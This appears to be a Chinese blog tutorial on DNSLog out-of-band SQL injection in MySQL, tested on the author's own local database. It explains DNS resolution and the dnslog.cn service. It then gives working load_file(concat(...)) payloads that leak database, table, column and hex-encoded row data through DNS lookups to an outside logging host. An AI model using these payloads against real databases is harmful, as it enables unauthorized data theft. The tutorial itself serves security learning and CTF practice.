应用场景

当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。

DNS是什么

DNS原理及其解析过程_king9666的博客-CSDN博客
DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将主机名和域名转换为IP地址的工作。DNS就是这样的一位“翻译者”.
同时,DNS是一个分布式数据库系统,它提供将域名转换成对应IP地址的信息。这种将名称转换成IP地址的方法称为域名解析。所以在申请域名的时候都要将域名所指向的IP地址提交给NIC。这样就要求你的IP必须是固定的才可以申请域名。
简单来说就是将域名解析为ip

然后我们找一个特定的可以记录DNS解析的网站DNSLog Platform
这个网站就可以看到DNS解析记录,将回显打到这个网站从而实现注入
先看看网站的使用,进入点击Get SubDomain可以获得一个域名
pSSpmQS.png
然后ping一下这个域名
zzxNsH.png
可以看到能够ping通,说明DNS解析成功,然后去网页点击Refresh Record可以看到解析记录
zzxJzD.png
然后它也可以解析gum6ss.dnslog.cn域名下的任何子域名
zzx8JK.png
同样可以在网站看到解析记录

MySQL中load_file()

首先在我电脑D:\MySQL路径下准备一个a.txt文件,内容为hello!,然后利用load_file()函数读取
zzxGRO.png
读取成功,这里路径必须用/才行,而且MySQL的配置文件secure_file_priv必须为空,即secure_file_priv=” “

concat()函数

这个函数挺简单,就是用于多个字符串拼接
zzx3i6.png

本地测试

根据load_file函数的语法规则,访问互联网中的文件时,我们需要在最前面加上两个斜杠 //
然后我重新获取一个域名为d07ib5.dnslog.cn,用load_file()函数获取这个域名下的文件从而留下解析记录,这里的文件随意,因为我们的目的是留下记录,而不是查看文件
zzxlIx.png
可以看到成功留下记录
zzxQd1.png

获取库名

这样就可以通过此方法去注出库名等,然后我创建一个test库,使用这种方法去注入
zzxMZR.png
然后可以看到得到了test库名
zzxZzF.png

获取表名

我们需要更改group_concat函数中的默认逗号分隔符,在使用group_concat合并查询时,会自动使用 “,” 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,这里可以利用 . (点号) 也可以用 _ (下划线),建议的话用点好比较好,防止数据库库名中本身存在下划线
这里我直接把语句放出来了,是真的容易敲错
select load_file(concat('//',(select group_concat(table_name separator '.')from information_schema.tables where table_schema=database()),'.d07ib5.dnslog.cn/11.txt'));
zzxEGT.png
查询到表名
zzxVRU.png

查看字段

select load_file(concat('//',(select group_concat(column_name separator '.')from information_schema.columns where table_schema=database() and table_name='table1'),'.aqw3sw.dnslog.cn/1.txt'));
zzxmM4.png
查询成功(中途换了个域名)
zzxnsJ.png

查看数据

当我使用下面语句 select load_file(concat('//',(select group_concat(id,user,name separator '.')from table1),'.aqw3sw.dnslog.cn/1.txt'));查询数据就会失效,因为
url中传递的字符非常有限,很多特殊字符如 { , } , !,是无法传递的,这就会导致我们的load_file函数失效,而在flag中括号什么的会经常出现,所以使用hex进行编码
select load_file(concat('//',(select hex(group_concat(id,user,name separator '.')) from table1),'.aqw3sw.dnslog.cn/1.txt'));
pSSptQU.png
得到
zzxuL9.png
然后解码得到字段数据
zzxtQe.png

参考:
深度剖析DNSLog注入原理&本地实例测试_monster663的博客-CSDN博客_dnslog注入原理
DNS原理及其解析过程_king9666的博客-CSDN博客
DNSlog注入详细解析 - FreeBuf网络安全行业门户